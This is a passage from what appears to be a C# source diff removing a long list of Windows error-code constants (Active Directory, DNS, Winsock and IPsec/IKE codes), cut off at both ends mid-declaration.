ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN = 8603; - public const int ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC = 8604; - public const int ERROR_DS_DUPLICATE_ID_FOUND = 8605; - public const int ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT = 8606; - public const int ERROR_DS_GROUP_CONVERSION_ERROR = 8607; - public const int ERROR_DS_CANT_MOVE_APP_BASIC_GROUP = 8608; - public const int ERROR_DS_CANT_MOVE_APP_QUERY_GROUP = 8609; - public const int ERROR_DS_ROLE_NOT_VERIFIED = 8610; - public const int ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL = 8611; - public const int ERROR_DS_DOMAIN_RENAME_IN_PROGRESS = 8612; - public const int ERROR_DS_EXISTING_AD_CHILD_NC = 8613; - public const int ERROR_DS_REPL_LIFETIME_EXCEEDED = 8614; - public const int ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER = 8615; - public const int ERROR_DS_LDAP_SEND_QUEUE_FULL = 8616; - public const int ERROR_DS_DRA_OUT_SCHEDULE_WINDOW = 8617; - public const int ERROR_DS_POLICY_NOT_KNOWN = 8618; - public const int ERROR_NO_SITE_SETTINGS_OBJECT = 8619; - public const int ERROR_NO_SECRETS = 8620; - public const int ERROR_NO_WRITABLE_DC_FOUND = 8621; - public const int ERROR_DS_NO_SERVER_OBJECT = 8622; - public const int ERROR_DS_NO_NTDSA_OBJECT = 8623; - public const int ERROR_DS_NON_ASQ_SEARCH = 8624; - public const int ERROR_DS_AUDIT_FAILURE = 8625; - public const int ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE = 8626; - public const int ERROR_DS_INVALID_SEARCH_FLAG_TUPLE = 8627; - public const int ERROR_DS_HIERARCHY_TABLE_TOO_DEEP = 8628; - public const int ERROR_DS_DRA_CORRUPT_UTD_VECTOR = 8629; - public const int ERROR_DS_DRA_SECRETS_DENIED = 8630; - public const int ERROR_DS_RESERVED_MAPI_ID = 8631; - public const int ERROR_DS_MAPI_ID_NOT_AVAILABLE = 8632; - public const int ERROR_DS_DRA_MISSING_KRBTGT_SECRET = 8633; - public const int ERROR_DS_DOMAIN_NAME_EXISTS_IN_FOREST = 8634; - public const int ERROR_DS_FLAT_NAME_EXISTS_IN_FOREST = 8635; - public const int ERROR_INVALID_USER_PRINCIPAL_NAME = 8636; - public const int ERROR_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS = 8637; - public const int ERROR_DS_OID_NOT_FOUND = 8638; - public const int ERROR_DS_DRA_RECYCLED_TARGET = 8639; - public const int ERROR_DS_DISALLOWED_NC_REDIRECT = 8640; - public const int ERROR_DS_HIGH_ADLDS_FFL = 8641; - public const int ERROR_DS_HIGH_DSA_VERSION = 8642; - public const int ERROR_DS_LOW_ADLDS_FFL = 8643; - public const int ERROR_DOMAIN_SID_SAME_AS_LOCAL_WORKSTATION = 8644; - public const int ERROR_DS_UNDELETE_SAM_VALIDATION_FAILED = 8645; - public const int ERROR_INCORRECT_ACCOUNT_TYPE = 8646; - public const int ERROR_DS_SPN_VALUE_NOT_UNIQUE_IN_FOREST = 8647; - public const int ERROR_DS_UPN_VALUE_NOT_UNIQUE_IN_FOREST = 8648; - public const int ERROR_DS_MISSING_FOREST_TRUST = 8649; - public const int ERROR_DS_VALUE_KEY_NOT_UNIQUE = 8650; - public const int DNS_ERROR_RESPONSE_CODES_BASE = 9000; - public const int DNS_ERROR_MASK = 0x00002328; // 9000; - public const int DNS_ERROR_RCODE_FORMAT_ERROR = 9001; - public const int DNS_ERROR_RCODE_SERVER_FAILURE = 9002; - public const int DNS_ERROR_RCODE_NAME_ERROR = 9003; - public const int DNS_ERROR_RCODE_NOT_IMPLEMENTED = 9004; - public const int DNS_ERROR_RCODE_REFUSED = 9005; - public const int DNS_ERROR_RCODE_YXDOMAIN = 9006; - public const int DNS_ERROR_RCODE_YXRRSET = 9007; - public const int DNS_ERROR_RCODE_NXRRSET = 9008; - public const int DNS_ERROR_RCODE_NOTAUTH = 9009; - public const int DNS_ERROR_RCODE_NOTZONE = 9010; - public const int DNS_ERROR_RCODE_BADSIG = 9016; - public const int DNS_ERROR_RCODE_BADKEY = 9017; - public const int DNS_ERROR_RCODE_BADTIME = 9018; - public const int DNS_ERROR_DNSSEC_BASE = 9100; - public const int DNS_ERROR_KEYMASTER_REQUIRED = 9101; - public const int DNS_ERROR_NOT_ALLOWED_ON_SIGNED_ZONE = 9102; - public const int DNS_ERROR_NSEC3_INCOMPATIBLE_WITH_RSA_SHA1 = 9103; - public const int DNS_ERROR_NOT_ENOUGH_SIGNING_KEY_DESCRIPTORS = 9104; - public const int DNS_ERROR_UNSUPPORTED_ALGORITHM = 9105; - public const int DNS_ERROR_INVALID_KEY_SIZE = 9106; - public const int DNS_ERROR_SIGNING_KEY_NOT_ACCESSIBLE = 9107; - public const int DNS_ERROR_KSP_DOES_NOT_SUPPORT_PROTECTION = 9108; - public const int DNS_ERROR_UNEXPECTED_DATA_PROTECTION_ERROR = 9109; - public const int DNS_ERROR_UNEXPECTED_CNG_ERROR = 9110; - public const int DNS_ERROR_UNKNOWN_SIGNING_PARAMETER_VERSION = 9111; - public const int DNS_ERROR_KSP_NOT_ACCESSIBLE = 9112; - public const int DNS_ERROR_TOO_MANY_SKDS = 9113; - public const int DNS_ERROR_INVALID_ROLLOVER_PERIOD = 9114; - public const int DNS_ERROR_INVALID_INITIAL_ROLLOVER_OFFSET = 9115; - public const int DNS_ERROR_ROLLOVER_IN_PROGRESS = 9116; - public const int DNS_ERROR_STANDBY_KEY_NOT_PRESENT = 9117; - public const int DNS_ERROR_NOT_ALLOWED_ON_ZSK = 9118; - public const int DNS_ERROR_NOT_ALLOWED_ON_ACTIVE_SKD = 9119; - public const int DNS_ERROR_ROLLOVER_ALREADY_QUEUED = 9120; - public const int DNS_ERROR_NOT_ALLOWED_ON_UNSIGNED_ZONE = 9121; - public const int DNS_ERROR_BAD_KEYMASTER = 9122; - public const int DNS_ERROR_INVALID_SIGNATURE_VALIDITY_PERIOD = 9123; - public const int DNS_ERROR_INVALID_NSEC3_ITERATION_COUNT = 9124; - public const int DNS_ERROR_DNSSEC_IS_DISABLED = 9125; - public const int DNS_ERROR_INVALID_XML = 9126; - public const int DNS_ERROR_NO_VALID_TRUST_ANCHORS = 9127; - public const int DNS_ERROR_ROLLOVER_NOT_POKEABLE = 9128; - public const int DNS_ERROR_NSEC3_NAME_COLLISION = 9129; - public const int DNS_ERROR_NSEC_INCOMPATIBLE_WITH_NSEC3_RSA_SHA1 = 9130; - public const int DNS_ERROR_PACKET_FMT_BASE = 9500; - public const int DNS_INFO_NO_RECORDS = 9501; - public const int DNS_ERROR_BAD_PACKET = 9502; - public const int DNS_ERROR_NO_PACKET = 9503; - public const int DNS_ERROR_RCODE = 9504; - public const int DNS_ERROR_UNSECURE_PACKET = 9505; - public const int DNS_REQUEST_PENDING = 9506; - public const int DNS_ERROR_GENERAL_API_BASE = 9550; - public const int DNS_ERROR_INVALID_TYPE = 9551; - public const int DNS_ERROR_INVALID_IP_ADDRESS = 9552; - public const int DNS_ERROR_INVALID_PROPERTY = 9553; - public const int DNS_ERROR_TRY_AGAIN_LATER = 9554; - public const int DNS_ERROR_NOT_UNIQUE = 9555; - public const int DNS_ERROR_NON_RFC_NAME = 9556; - public const int DNS_STATUS_FQDN = 9557; - public const int DNS_STATUS_DOTTED_NAME = 9558; - public const int DNS_STATUS_SINGLE_PART_NAME = 9559; - public const int DNS_ERROR_INVALID_NAME_CHAR = 9560; - public const int DNS_ERROR_NUMERIC_NAME = 9561; - public const int DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER = 9562; - public const int DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION = 9563; - public const int DNS_ERROR_CANNOT_FIND_ROOT_HINTS = 9564; - public const int DNS_ERROR_INCONSISTENT_ROOT_HINTS = 9565; - public const int DNS_ERROR_DWORD_VALUE_TOO_SMALL = 9566; - public const int DNS_ERROR_DWORD_VALUE_TOO_LARGE = 9567; - public const int DNS_ERROR_BACKGROUND_LOADING = 9568; - public const int DNS_ERROR_NOT_ALLOWED_ON_RODC = 9569; - public const int DNS_ERROR_NOT_ALLOWED_UNDER_DNAME = 9570; - public const int DNS_ERROR_DELEGATION_REQUIRED = 9571; - public const int DNS_ERROR_INVALID_POLICY_TABLE = 9572; - public const int DNS_ERROR_ADDRESS_REQUIRED = 9573; - public const int DNS_ERROR_ZONE_BASE = 9600; - public const int DNS_ERROR_ZONE_DOES_NOT_EXIST = 9601; - public const int DNS_ERROR_NO_ZONE_INFO = 9602; - public const int DNS_ERROR_INVALID_ZONE_OPERATION = 9603; - public const int DNS_ERROR_ZONE_CONFIGURATION_ERROR = 9604; - public const int DNS_ERROR_ZONE_HAS_NO_SOA_RECORD = 9605; - public const int DNS_ERROR_ZONE_HAS_NO_NS_RECORDS = 9606; - public const int DNS_ERROR_ZONE_LOCKED = 9607; - public const int DNS_ERROR_ZONE_CREATION_FAILED = 9608; - public const int DNS_ERROR_ZONE_ALREADY_EXISTS = 9609; - public const int DNS_ERROR_AUTOZONE_ALREADY_EXISTS = 9610; - public const int DNS_ERROR_INVALID_ZONE_TYPE = 9611; - public const int DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP = 9612; - public const int DNS_ERROR_ZONE_NOT_SECONDARY = 9613; - public const int DNS_ERROR_NEED_SECONDARY_ADDRESSES = 9614; - public const int DNS_ERROR_WINS_INIT_FAILED = 9615; - public const int DNS_ERROR_NEED_WINS_SERVERS = 9616; - public const int DNS_ERROR_NBSTAT_INIT_FAILED = 9617; - public const int DNS_ERROR_SOA_DELETE_INVALID = 9618; - public const int DNS_ERROR_FORWARDER_ALREADY_EXISTS = 9619; - public const int DNS_ERROR_ZONE_REQUIRES_MASTER_IP = 9620; - public const int DNS_ERROR_ZONE_IS_SHUTDOWN = 9621; - public const int DNS_ERROR_ZONE_LOCKED_FOR_SIGNING = 9622; - public const int DNS_ERROR_DATAFILE_BASE = 9650; - public const int DNS_ERROR_PRIMARY_REQUIRES_DATAFILE = 9651; - public const int DNS_ERROR_INVALID_DATAFILE_NAME = 9652; - public const int DNS_ERROR_DATAFILE_OPEN_FAILURE = 9653; - public const int DNS_ERROR_FILE_WRITEBACK_FAILED = 9654; - public const int DNS_ERROR_DATAFILE_PARSING = 9655; - public const int DNS_ERROR_DATABASE_BASE = 9700; - public const int DNS_ERROR_RECORD_DOES_NOT_EXIST = 9701; - public const int DNS_ERROR_RECORD_FORMAT = 9702; - public const int DNS_ERROR_NODE_CREATION_FAILED = 9703; - public const int DNS_ERROR_UNKNOWN_RECORD_TYPE = 9704; - public const int DNS_ERROR_RECORD_TIMED_OUT = 9705; - public const int DNS_ERROR_NAME_NOT_IN_ZONE = 9706; - public const int DNS_ERROR_CNAME_LOOP = 9707; - public const int DNS_ERROR_NODE_IS_CNAME = 9708; - public const int DNS_ERROR_CNAME_COLLISION = 9709; - public const int DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT = 9710; - public const int DNS_ERROR_RECORD_ALREADY_EXISTS = 9711; - public const int DNS_ERROR_SECONDARY_DATA = 9712; - public const int DNS_ERROR_NO_CREATE_CACHE_DATA = 9713; - public const int DNS_ERROR_NAME_DOES_NOT_EXIST = 9714; - public const int DNS_WARNING_PTR_CREATE_FAILED = 9715; - public const int DNS_WARNING_DOMAIN_UNDELETED = 9716; - public const int DNS_ERROR_DS_UNAVAILABLE = 9717; - public const int DNS_ERROR_DS_ZONE_ALREADY_EXISTS = 9718; - public const int DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE = 9719; - public const int DNS_ERROR_NODE_IS_DNAME = 9720; - public const int DNS_ERROR_DNAME_COLLISION = 9721; - public const int DNS_ERROR_ALIAS_LOOP = 9722; - public const int DNS_ERROR_OPERATION_BASE = 9750; - public const int DNS_INFO_AXFR_COMPLETE = 9751; - public const int DNS_ERROR_AXFR = 9752; - public const int DNS_INFO_ADDED_LOCAL_WINS = 9753; - public const int DNS_ERROR_SECURE_BASE = 9800; - public const int DNS_STATUS_CONTINUE_NEEDED = 9801; - public const int DNS_ERROR_SETUP_BASE = 9850; - public const int DNS_ERROR_NO_TCPIP = 9851; - public const int DNS_ERROR_NO_DNS_SERVERS = 9852; - public const int DNS_ERROR_DP_BASE = 9900; - public const int DNS_ERROR_DP_DOES_NOT_EXIST = 9901; - public const int DNS_ERROR_DP_ALREADY_EXISTS = 9902; - public const int DNS_ERROR_DP_NOT_ENLISTED = 9903; - public const int DNS_ERROR_DP_ALREADY_ENLISTED = 9904; - public const int DNS_ERROR_DP_NOT_AVAILABLE = 9905; - public const int DNS_ERROR_DP_FSMO_ERROR = 9906; - public const int DNS_ERROR_RRL_NOT_ENABLED = 9911; - public const int DNS_ERROR_RRL_INVALID_WINDOW_SIZE = 9912; - public const int DNS_ERROR_RRL_INVALID_IPV4_PREFIX = 9913; - public const int DNS_ERROR_RRL_INVALID_IPV6_PREFIX = 9914; - public const int DNS_ERROR_RRL_INVALID_TC_RATE = 9915; - public const int DNS_ERROR_RRL_INVALID_LEAK_RATE = 9916; - public const int DNS_ERROR_RRL_LEAK_RATE_LESSTHAN_TC_RATE = 9917; - public const int DNS_ERROR_VIRTUALIZATION_INSTANCE_ALREADY_EXISTS = 9921; - public const int DNS_ERROR_VIRTUALIZATION_INSTANCE_DOES_NOT_EXIST = 9922; - public const int DNS_ERROR_VIRTUALIZATION_TREE_LOCKED = 9923; - public const int DNS_ERROR_INVAILD_VIRTUALIZATION_INSTANCE_NAME = 9924; - public const int DNS_ERROR_DEFAULT_VIRTUALIZATION_INSTANCE = 9925; - public const int DNS_ERROR_ZONESCOPE_ALREADY_EXISTS = 9951; - public const int DNS_ERROR_ZONESCOPE_DOES_NOT_EXIST = 9952; - public const int DNS_ERROR_DEFAULT_ZONESCOPE = 9953; - public const int DNS_ERROR_INVALID_ZONESCOPE_NAME = 9954; - public const int DNS_ERROR_NOT_ALLOWED_WITH_ZONESCOPES = 9955; - public const int DNS_ERROR_LOAD_ZONESCOPE_FAILED = 9956; - public const int DNS_ERROR_ZONESCOPE_FILE_WRITEBACK_FAILED = 9957; - public const int DNS_ERROR_INVALID_SCOPE_NAME = 9958; - public const int DNS_ERROR_SCOPE_DOES_NOT_EXIST = 9959; - public const int DNS_ERROR_DEFAULT_SCOPE = 9960; - public const int DNS_ERROR_INVALID_SCOPE_OPERATION = 9961; - public const int DNS_ERROR_SCOPE_LOCKED = 9962; - public const int DNS_ERROR_SCOPE_ALREADY_EXISTS = 9963; - public const int DNS_ERROR_POLICY_ALREADY_EXISTS = 9971; - public const int DNS_ERROR_POLICY_DOES_NOT_EXIST = 9972; - public const int DNS_ERROR_POLICY_INVALID_CRITERIA = 9973; - public const int DNS_ERROR_POLICY_INVALID_SETTINGS = 9974; - public const int DNS_ERROR_CLIENT_SUBNET_IS_ACCESSED = 9975; - public const int DNS_ERROR_CLIENT_SUBNET_DOES_NOT_EXIST = 9976; - public const int DNS_ERROR_CLIENT_SUBNET_ALREADY_EXISTS = 9977; - public const int DNS_ERROR_SUBNET_DOES_NOT_EXIST = 9978; - public const int DNS_ERROR_SUBNET_ALREADY_EXISTS = 9979; - public const int DNS_ERROR_POLICY_LOCKED = 9980; - public const int DNS_ERROR_POLICY_INVALID_WEIGHT = 9981; - public const int DNS_ERROR_POLICY_INVALID_NAME = 9982; - public const int DNS_ERROR_POLICY_MISSING_CRITERIA = 9983; - public const int DNS_ERROR_INVALID_CLIENT_SUBNET_NAME = 9984; - public const int DNS_ERROR_POLICY_PROCESSING_ORDER_INVALID = 9985; - public const int DNS_ERROR_POLICY_SCOPE_MISSING = 9986; - public const int DNS_ERROR_POLICY_SCOPE_NOT_ALLOWED = 9987; - public const int DNS_ERROR_SERVERSCOPE_IS_REFERENCED = 9988; - public const int DNS_ERROR_ZONESCOPE_IS_REFERENCED = 9989; - public const int DNS_ERROR_POLICY_INVALID_CRITERIA_CLIENT_SUBNET = 9990; - public const int DNS_ERROR_POLICY_INVALID_CRITERIA_TRANSPORT_PROTOCOL = 9991; - public const int DNS_ERROR_POLICY_INVALID_CRITERIA_NETWORK_PROTOCOL = 9992; - public const int DNS_ERROR_POLICY_INVALID_CRITERIA_INTERFACE = 9993; - public const int DNS_ERROR_POLICY_INVALID_CRITERIA_FQDN = 9994; - public const int DNS_ERROR_POLICY_INVALID_CRITERIA_QUERY_TYPE = 9995; - public const int DNS_ERROR_POLICY_INVALID_CRITERIA_TIME_OF_DAY = 9996; - public const int WSABASEERR = 10000; - public const int WSAEINTR = 10004; - public const int WSAEBADF = 10009; - public const int WSAEACCES = 10013; - public const int WSAEFAULT = 10014; - public const int WSAEINVAL = 10022; - public const int WSAEMFILE = 10024; - public const int WSAEWOULDBLOCK = 10035; - public const int WSAEINPROGRESS = 10036; - public const int WSAEALREADY = 10037; - public const int WSAENOTSOCK = 10038; - public const int WSAEDESTADDRREQ = 10039; - public const int WSAEMSGSIZE = 10040; - public const int WSAEPROTOTYPE = 10041; - public const int WSAENOPROTOOPT = 10042; - public const int WSAEPROTONOSUPPORT = 10043; - public const int WSAESOCKTNOSUPPORT = 10044; - public const int WSAEOPNOTSUPP = 10045; - public const int WSAEPFNOSUPPORT = 10046; - public const int WSAEAFNOSUPPORT = 10047; - public const int WSAEADDRINUSE = 10048; - public const int WSAEADDRNOTAVAIL = 10049; - public const int WSAENETDOWN = 10050; - public const int WSAENETUNREACH = 10051; - public const int WSAENETRESET = 10052; - public const int WSAECONNABORTED = 10053; - public const int WSAECONNRESET = 10054; - public const int WSAENOBUFS = 10055; - public const int WSAEISCONN = 10056; - public const int WSAENOTCONN = 10057; - public const int WSAESHUTDOWN = 10058; - public const int WSAETOOMANYREFS = 10059; - public const int WSAETIMEDOUT = 10060; - public const int WSAECONNREFUSED = 10061; - public const int WSAELOOP = 10062; - public const int WSAENAMETOOLONG = 10063; - public const int WSAEHOSTDOWN = 10064; - public const int WSAEHOSTUNREACH = 10065; - public const int WSAENOTEMPTY = 10066; - public const int WSAEPROCLIM = 10067; - public const int WSAEUSERS = 10068; - public const int WSAEDQUOT = 10069; - public const int WSAESTALE = 10070; - public const int WSAEREMOTE = 10071; - public const int WSASYSNOTREADY = 10091; - public const int WSAVERNOTSUPPORTED = 10092; - public const int WSANOTINITIALISED = 10093; - public const int WSAEDISCON = 10101; - public const int WSAENOMORE = 10102; - public const int WSAECANCELLED = 10103; - public const int WSAEINVALIDPROCTABLE = 10104; - public const int WSAEINVALIDPROVIDER = 10105; - public const int WSAEPROVIDERFAILEDINIT = 10106; - public const int WSASYSCALLFAILURE = 10107; - public const int WSASERVICE_NOT_FOUND = 10108; - public const int WSATYPE_NOT_FOUND = 10109; - public const int WSA_E_NO_MORE = 10110; - public const int WSA_E_CANCELLED = 10111; - public const int WSAEREFUSED = 10112; - public const int WSAHOST_NOT_FOUND = 11001; - public const int WSATRY_AGAIN = 11002; - public const int WSANO_RECOVERY = 11003; - public const int WSANO_DATA = 11004; - public const int WSA_QOS_RECEIVERS = 11005; - public const int WSA_QOS_SENDERS = 11006; - public const int WSA_QOS_NO_SENDERS = 11007; - public const int WSA_QOS_NO_RECEIVERS = 11008; - public const int WSA_QOS_REQUEST_CONFIRMED = 11009; - public const int WSA_QOS_ADMISSION_FAILURE = 11010; - public const int WSA_QOS_POLICY_FAILURE = 11011; - public const int WSA_QOS_BAD_STYLE = 11012; - public const int WSA_QOS_BAD_OBJECT = 11013; - public const int WSA_QOS_TRAFFIC_CTRL_ERROR = 11014; - public const int WSA_QOS_GENERIC_ERROR = 11015; - public const int WSA_QOS_ESERVICETYPE = 11016; - public const int WSA_QOS_EFLOWSPEC = 11017; - public const int WSA_QOS_EPROVSPECBUF = 11018; - public const int WSA_QOS_EFILTERSTYLE = 11019; - public const int WSA_QOS_EFILTERTYPE = 11020; - public const int WSA_QOS_EFILTERCOUNT = 11021; - public const int WSA_QOS_EOBJLENGTH = 11022; - public const int WSA_QOS_EFLOWCOUNT = 11023; - public const int WSA_QOS_EUNKOWNPSOBJ = 11024; - public const int WSA_QOS_EPOLICYOBJ = 11025; - public const int WSA_QOS_EFLOWDESC = 11026; - public const int WSA_QOS_EPSFLOWSPEC = 11027; - public const int WSA_QOS_EPSFILTERSPEC = 11028; - public const int WSA_QOS_ESDMODEOBJ = 11029; - public const int WSA_QOS_ESHAPERATEOBJ = 11030; - public const int WSA_QOS_RESERVED_PETYPE = 11031; - public const int WSA_SECURE_HOST_NOT_FOUND = 11032; - public const int WSA_IPSEC_NAME_POLICY_ERROR = 11033; - public const int ERROR_IPSEC_QM_POLICY_EXISTS = 13000; - public const int ERROR_IPSEC_QM_POLICY_NOT_FOUND = 13001; - public const int ERROR_IPSEC_QM_POLICY_IN_USE = 13002; - public const int ERROR_IPSEC_MM_POLICY_EXISTS = 13003; - public const int ERROR_IPSEC_MM_POLICY_NOT_FOUND = 13004; - public const int ERROR_IPSEC_MM_POLICY_IN_USE = 13005; - public const int ERROR_IPSEC_MM_FILTER_EXISTS = 13006; - public const int ERROR_IPSEC_MM_FILTER_NOT_FOUND = 13007; - public const int ERROR_IPSEC_TRANSPORT_FILTER_EXISTS = 13008; - public const int ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND = 13009; - public const int ERROR_IPSEC_MM_AUTH_EXISTS = 13010; - public const int ERROR_IPSEC_MM_AUTH_NOT_FOUND = 13011; - public const int ERROR_IPSEC_MM_AUTH_IN_USE = 13012; - public const int ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND = 13013; - public const int ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND = 13014; - public const int ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND = 13015; - public const int ERROR_IPSEC_TUNNEL_FILTER_EXISTS = 13016; - public const int ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND = 13017; - public const int ERROR_IPSEC_MM_FILTER_PENDING_DELETION = 13018; - public const int ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION = 13019; - public const int ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION = 13020; - public const int ERROR_IPSEC_MM_POLICY_PENDING_DELETION = 13021; - public const int ERROR_IPSEC_MM_AUTH_PENDING_DELETION = 13022; - public const int ERROR_IPSEC_QM_POLICY_PENDING_DELETION = 13023; - public const int WARNING_IPSEC_MM_POLICY_PRUNED = 13024; - public const int WARNING_IPSEC_QM_POLICY_PRUNED = 13025; - public const int ERROR_IPSEC_IKE_NEG_STATUS_BEGIN = 13800; - public const int ERROR_IPSEC_IKE_AUTH_FAIL = 13801; - public const int ERROR_IPSEC_IKE_ATTRIB_FAIL = 13802; - public const int ERROR_IPSEC_IKE_NEGOTIATION_PENDING = 13803; - public const int ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR = 13804; - public const int ERROR_IPSEC_IKE_TIMED_OUT = 13805; - public const int ERROR_IPSEC_IKE_NO_CERT = 13806; - public const int ERROR_IPSEC_IKE_SA_DELETED = 13807; - public const int ERROR_IPSEC_IKE_SA_REAPED = 13808; - public const int ERROR_IPSEC_IKE_MM_ACQUIRE_DROP = 13809; - public const int ERROR_IPSEC_IKE_QM_ACQUIRE_DROP = 13810; - public const int ERROR_IPSEC_IKE_QUEUE_DROP_MM = 13811; - public const int ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM = 13812; - public const int ERROR_IPSEC_IKE_DROP_NO_RESPONSE = 13813; - public const int ERROR_IPSEC_IKE_MM_DELAY_DROP = 13814; - public const int ERROR_IPSEC_IKE_QM_DELAY_DROP = 13815; - public const int ERROR_IPSEC_IKE_ERROR = 13816; - public const int ERROR_IPSEC_IKE_CRL_FAILED = 13817; - public const int ERROR_IPSEC_IKE_INVALID_KEY_USAGE = 13818; - public const int ERROR_IPSEC_IKE_INVALID_CERT_TYPE = 13819; - public const int ERROR_IPSEC_IKE_NO_PRIVATE_KEY = 13820; - public const int ERROR_IPSEC_IKE_SIMULTANEOUS_REKEY = 13821; - public const int ERROR_IPSEC_IKE_DH_FAIL = 13822; - public const int ERROR_IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED = 13823; - public const int ERROR_IPSEC_IKE_INVALID_HEADER = 13824; - public const int ERROR_IPSEC_IKE_NO_POLICY = 13825; - public const int ERROR_IPSEC_IKE_INVALID_SIGNATURE = 13826; - public const int ERROR_IPSEC_IKE_KERBEROS_ERROR = 13827; - public const int ERROR_IPSEC_IKE_NO_PUBLIC_KEY = 13828; - public const int ERROR_IPSEC_IKE_PROCESS_ERR = 13829; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_SA = 13830; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_PROP = 13831; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_TRANS = 13832; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_KE = 13833; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_ID = 13834; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_CERT = 13835; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ = 13836; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_HASH = 13837; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_SIG = 13838; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_NONCE = 13839; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY = 13840; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_DELETE = 13841; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR = 13842; - public const int ERROR_IPSEC_IKE_INVALID_PAYLOAD = 13843; - public const int ERROR_IPSEC_IKE_LOAD_SOFT_SA = 13844; - public const int ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN = 13845; - public const int ERROR_IPSEC_IKE_INVALID_COOKIE = 13846; - public const int ERROR_IPSEC_IKE_NO_PEER_CERT = 13847; - public const int ERROR_IPSEC_IKE_PEER_CRL_FAILED = 13848; - public const int ERROR_IPSEC_IKE_POLICY_CHANGE = 13849; - public const int ERROR_IPSEC_IKE_NO_MM_POLICY = 13850; - public const int ERROR_IPSEC_IKE_NOTCBPRIV = 13851; - public const int ERROR_IPSEC_IKE_SECLOADFAIL = 13852; - public const int ERROR_IPSEC_IKE_FAILSSPINIT = 13853; - public const int ERROR_IPSEC_IKE_FAILQUERYSSP = 13854; - public const int ERROR_IPSEC_IKE_SRVACQFAIL = 13855; - public const int ERROR_IPSEC_IKE_SRVQUERYCRED = 13856; - public const int ERROR_IPSEC_IKE_GETSPIFAIL = 13857; - public const int ERROR_IPSEC_IKE_INVALID_FILTER = 13858; - public const int ERROR_IPSEC_IKE_OUT_OF_MEMORY = 13859; - public const int ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED = 13860; - public const int ERROR_IPSEC_IKE_INVALID_POLICY = 13861; - public const int ERROR_IPSEC_IKE_UNKNOWN_DOI = 13862; - public const int ERROR_IPSEC_IKE_INVALID_SITUATION = 13863; - public const int ERROR_IPSEC_IKE_DH_FAILURE = 13864; - public const int ERROR_IPSEC_IKE_INVALID_GROUP = 13865; - public const int ERROR_IPSEC_IKE_ENCRYPT = 13866; - public const int ERROR_IPSEC_IKE_DECRYPT = 13867; - public const int ERROR_IPSEC_IKE_POLICY_MATCH = 13868; - public const int ERROR_IPSEC_IKE_UNSUPPORTED_ID = 13869; - public const int ERROR_IPSEC_IKE_INVALID_HASH = 13870; - public const int ERROR_IPSEC_IKE_INVALID_HASH_ALG = 13871; - public const int ERROR_IPSEC_IKE_INVALID_HASH_SIZE = 13872; - public const int ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG = 13873; - public const int ERROR_IPSEC_IKE_INVALID_AUTH_ALG = 13874; - public const int ERROR_IPSEC_IKE_INVALID_SIG = 13875; - public const int ERROR_IPSEC_IKE_LOAD_FAILED = 13876; - public const int ERROR_IPSEC_IKE_RPC_DELETE = 13877; - public const int ERROR_IPSEC_IKE_BENIGN_REINIT = 13878; - public const int ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY = 13879; - public const int ERROR_IPSEC_IKE_INVALID_MAJOR_VERSION = 13880; - public const int ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN = 13881; - public const int ERROR_IPSEC_IKE_MM_LIMIT = 13882; - public const int ERROR_IPSEC_IKE_NEGOTIATION_DISABLED = 13883; - public const int ERROR_IPSEC_IKE_QM_LIMIT = 13884; - public const int ERROR_IPSEC_IKE_MM_EXPIRED = 13885; - public const int ERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID = 13886; - public const int ERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH = 13887; - public const int ERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID = 13888; - public const int ERROR_IPSEC_IKE_INVALID_AUTH_PAYLOAD = 13889; - public const int ERROR_IPSEC_IKE_DOS_COOKIE_SENT = 13890; - public const int ERROR_IPSEC_IKE_SHUTTING_DOWN = 13891; - public const int ERROR_IPSEC_IKE_CGA_AUTH_FAILED = 13892; - public const int ERROR_IPSEC_IKE_PROCESS_ERR_NATOA = 13893; - public const int ERROR_IPSEC_IKE_INVALID_MM_FOR_QM = 13894; - public const int ERROR_IPSEC_IKE_QM_EXPIRED = 13895; - public const int ERROR_IPSEC_IKE_TOO_MANY_FILTERS = 13896; - public const int ERROR_IPSEC_IKE_NEG_STATUS_END = 13897; - public const int ERROR_IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL = 13898; - public const int ERROR_IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE = 13899; - public const int 